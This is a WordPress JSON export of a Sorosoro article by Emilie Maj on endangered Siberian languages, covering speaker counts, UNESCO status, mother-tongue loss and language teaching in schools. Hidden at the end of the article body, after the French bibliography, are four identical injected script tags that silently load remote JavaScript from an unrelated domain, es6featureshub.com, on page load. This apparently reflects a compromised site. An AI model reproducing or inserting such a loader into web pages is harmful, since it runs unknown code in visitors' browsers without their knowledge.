{"id":66635,"date":"2015-09-04T19:55:57","date_gmt":"2015-09-04T17:55:57","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66635"},"modified":"2025-10-21T22:00:58","modified_gmt":"2025-10-21T20:00:58","slug":"siberia-the-question-of-mother-tongue","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/","title":{"rendered":"Siberia: the question of mother tongue"},"content":{"rendered":"<p><span style=\"font-size:12px\">Posted by Emilie Maj on October 20, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>By Emilie Maj, researcher at the Mus\u00e9e du Quai Branly and University of Tallinn associate.<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Petites filles iakoutes\" src=\"\/wp-content\/uploads\/filles-iakoutes.jpg\" alt=\"Petites filles iakoutes\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Yakut girls at the Yhyakh festival. Yakutia. Siberia. \u00a9 Emilie Maj 2011<\/p><\/div><\/p>\n<p>A large majority of Siberian languages are in an alarming situation, in spite of an apparently favorable Russian legislation: all the languages of the Russian Federation are officially recognized with equal rights, and all of them supposedly receive State support.<\/p>\n<p>But after suffering Soviet policy, in fact, they are now faced with Russian-centered standardization. Why? Because the evolution of the economy towards global market makes rural-urban migration and social recomposition difficult.<\/p>\n<p><strong>How many Siberian languages in Russia?<\/strong><\/p>\n<p>The Siberian branch of the Russian Academy of Science accounts for forty-two Siberian languages gathered into three great families: the Altaic, Uralic, and Paleo-Asiatic languages.<br \/>\nFive of them are State languages: Altai, Komi, Tuvan, Buriat, and Yakut (also known as Sakha).<br \/>\nThirty-six of these languages are presented as those of the \u201cminority indigenous peoples\u201d.<br \/>\nThe remaining languages have no particular status: they are considered as dialects derived from the others.<\/p>\n<p><strong>Many endangered languages<\/strong><\/p>\n<p>For each of these languages, the number of speakers ranges from a few dozens to hundreds of thousands.<\/p>\n<p>Among the least widespread, UNESCO deems the following as \u201ccritically endangered\u201d:<\/p>\n<p>&#8211; Nenets: ca. 2,000 official speakers<br \/>\n&#8211; Nganasan: ca. 1,000<br \/>\n&#8211; Mansi: ca. 3,000<br \/>\n&#8211; Ket: ca. 500<br \/>\n&#8211; Nanai: ca. 5,800<br \/>\n&#8211; Gilyak: ca. 1,000<\/p>\n<p>UNESCO also declares the following as being \u201con the brink of extinction\u201d:<\/p>\n<p>&#8211; Selkup: over 500 speakers<br \/>\n&#8211; Eastern Mansi: ca. 500<br \/>\n&#8211; Tofa: ca. 300<br \/>\n&#8211; Ulch: ca. 1,100<br \/>\n&#8211; Udege: ca. 500<br \/>\n&#8211; Oroqen: ca. 150<br \/>\n&#8211; Neghidal: ca. 150<br \/>\n&#8211; Jukagir: ca. 100<br \/>\n&#8211; Itelmen: ca. 500<br \/>\n&#8211; Gilyak: ca. 500<\/p>\n<p>It is worth noting that official figures do not necessarily reflect reality. The actual number of Jukagir speakers, for instance, is more likely counted on the fingers of one hand. Altogether, approximately thirty of these languages are threatened with extinction on the shorter or longer term.<\/p>\n<p><strong>Which mother tongue?<\/strong><\/p>\n<p>The question of mother tongue is a delicate issue: in Siberia, the indigenous populations sometimes use more Russian than they use their own mother language, learned during childhood and forgotten in school, where Russian predominates. In some cases, acculturation even leads to oblivion of the indigenous language, despite it being a native tongue.<\/p>\n<p>At the end of the day, between those to whom the indigenous language hasn\u2019t been handed down and those who have forgotten it, the number of speakers is gradually falling. Thus out of 22,500 members of the Khanty population, only 67% consider Khanty to be their mother tongue. The figure even drops to 37% among the Mansi population\u2026<\/p>\n<p><strong>Siberian languages in school<\/strong><\/p>\n<p>Nowadays around one out of four languages of Siberia is taught in primary school. But the amount of teaching time remains insufficient, and the teaching itself is delivered in Russian. What\u2019s more, even when a child does study the language of their community in the early grades, whether they might continue to do so in secondary school is very uncertain.<\/p>\n<p>Certain administrative entities such as the Sakha (Yakutia) Republic have created \u201cnational schools\u201d, where instruction is delivered in Sakha language up to the governmental exam that students must take at seventeen. But this structure remains the privilege of the elite: there is only a limited number of them, and parents complain not to be able to register their children there because of a lack of space.<\/p>\n<p><strong>Multi-leveled multilingualism<\/strong><\/p>\n<p>The most endangered languages are generally those of communities living in Republics that have a national language other than Russian. These \u201csmall languages\u201d are then faced with two hegemonies: that of Russian, and that of the official local second language.<\/p>\n<p>To overcome the deficiencies of the Russian legislation, some of these Republics, such as Sakha (Yakutia) and Buryatia, display political support to these minority languages \u2013 granting them an official language status in regions where the people who still speak them are very concentrated.<\/p>\n<p>Yet an observer might ask if the success of this policy is actually effective. Visiting the Even-Bytantai region, in northern Sakha Republic, gives a prime example of a typical situation in the country: the region is qualified \u201cnational\u201d because it is formed of a majority of Even. But the Even were in fact assimilated to the Sakha during the Soviet period, and they no longer speak their own language.<\/p>\n<p>Which leads to quite grotesque situations: the young Natacha, for instance, from a mixed Even\/Sakha family, speaks Sakha at home like all the other people in her village. In school she studies Russia, of course. She also studies Even, an \u201cofficial\u201d minority language, although she doesn\u2019t use it in everyday life because no one else in the area speaks it. Yet she does not study Sakha, her mother tongue, the country\u2019s second official language, the language she\u2019ll be using the most as an adult.<\/p>\n<p>This tangible example shows that the question of indigenous languages is a sensitive issue whose resolution emerged on a case-by-case basis. Time is short, unfortunately, and it is not certain that the authorities will find efficient solutions in time to handle such complexity.<\/p>\n<p><strong>Sources available in French<\/strong><\/p>\n<p>CONSEIL DE L\u2019EUROPE 2007, Comite Consultatif de la Convention-Cadre Pour La Protection Des Minorit\u00e9s Nationales, Strasbourg, 2 mai 2007, ACFC\/OP\/II(2006)004, Deuxi\u00e8me Avis sur la F\u00e9d\u00e9ration de Russie adopt\u00e9 le 11 mai 2006, <a href=\"http:\/\/www.coe.int\/t\/dghl\/monitoring\/minorities\/3_FCNMdocs\/PDF_2nd_Com_RussianFederation_fr.pdf\" target=\"_blank\">http:\/\/www.coe.int\/t\/dghl\/monitoring\/minorities\/3_FCNMdocs\/PDF_2nd_Com_RussianFederation_fr.pdf<\/a> (last visit on 19.09.2011)<\/p>\n<p>ISOHOOKANA-ASUNMAA Tytti (rapporteur) 1998, Assembl\u00e9e parlementaire du Conseil de l\u2019Europe, Doc. 8126 du 2 juin 1998, Cultures minoritaires ouraliques en danger, Rapport de la Commission de la culture et de l\u2019\u00e9ducation, <a href=\"http:\/\/assembly.coe.int\/Documents\/WorkingDocs\/doc98\/fdoc8126.htm\" target=\"_blank\">http:\/\/assembly.coe.int\/Documents\/WorkingDocs\/doc98\/fdoc8126.htm<\/a> (last visit on 19.09.2011)<\/p>\n<p>LAVRILLIER Alexandra (to be published), Parlons toungouse, L\u2019Harmattan<\/p>\n<p>MAJ Emilie et LEBERRE-SEMENOV Marine 2010, Parlons sakha. Langue et culture iakoutes. L\u2019Harmattan<\/p>\n<p>Maj Emilie 2009. Interpr\u00e9ter le dialogue interculturel entre Russes et peuples autochtones de la R\u00e9publique Sakha (Iakoutie), in K. HADDAD, M. ECKMANN, A. MAN\u00c7O (\u00e9ds), Antagonismes communautaires et dialogues interculturels, Paris, L\u2019Harmattan, coll. \u00ab Comp\u00e9tences interculturelles \u00bb, 2009, L\u2019Harmattan, Paris, pp. 63-83<\/p>\n<p>PERROT Jean 2006, Regards sur les langues ouraliennes. Etudes structurales, approches contrastives, regards de linguistes, L\u2019Harmattan (Biblioth\u00e8que finno-ougrienne)<\/p>\n<p>TERSIS Nicole, THERRIEN Mich\u00e8le 2001, Langues eskal\u00e9outes : Sib\u00e9rie, Alaska, Canada, Groenland, CNRS Paris<\/p>\n<p>WEINSTEIN Charles 2010, Parlons tchouktche : une langue de Sib\u00e9rie, L\u2019Harmattan<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Posted by Emilie Maj on October 20, 2011 &nbsp; By Emilie Maj, researcher at the Mus\u00e9e du Quai Branly and University of Tallinn associate. A large majority of Siberian languages are in an alarming situation, in spite of an apparently favorable Russian legislation: all the languages of the Russian Federation are officially recognized with equal [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-66635","post","type-post","status-publish","format-standard","hentry","category-other"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Siberia: the question of mother tongue - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Siberia: the question of mother tongue - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Posted by Emilie Maj on October 20, 2011 &nbsp; By Emilie Maj, researcher at the Mus\u00e9e du Quai Branly and University of Tallinn associate. A large majority of Siberian languages are in an alarming situation, in spite of an apparently favorable Russian legislation: all the languages of the Russian Federation are officially recognized with equal [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T17:55:57+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:00:58+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Siberia: the question of mother tongue\",\"datePublished\":\"2015-09-04T17:55:57+00:00\",\"dateModified\":\"2025-10-21T20:00:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\"},\"wordCount\":1072,\"articleSection\":[\"Other\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\",\"name\":\"Siberia: the question of mother tongue - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2015-09-04T17:55:57+00:00\",\"dateModified\":\"2025-10-21T20:00:58+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Siberia: the question of mother tongue\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Siberia: the question of mother tongue - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/","og_locale":"en_US","og_type":"article","og_title":"Siberia: the question of mother tongue - Sorosoro","og_description":"Posted by Emilie Maj on October 20, 2011 &nbsp; By Emilie Maj, researcher at the Mus\u00e9e du Quai Branly and University of Tallinn associate. A large majority of Siberian languages are in an alarming situation, in spite of an apparently favorable Russian legislation: all the languages of the Russian Federation are officially recognized with equal [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T17:55:57+00:00","article_modified_time":"2025-10-21T20:00:58+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Sorosoro","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Siberia: the question of mother tongue","datePublished":"2015-09-04T17:55:57+00:00","dateModified":"2025-10-21T20:00:58+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/"},"wordCount":1072,"articleSection":["Other"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/","url":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/","name":"Siberia: the question of mother tongue - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2015-09-04T17:55:57+00:00","dateModified":"2025-10-21T20:00:58+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/siberia-the-question-of-mother-tongue\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Siberia: the question of mother tongue"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/en\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/66635","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=66635"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/66635\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=66635"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=66635"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=66635"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}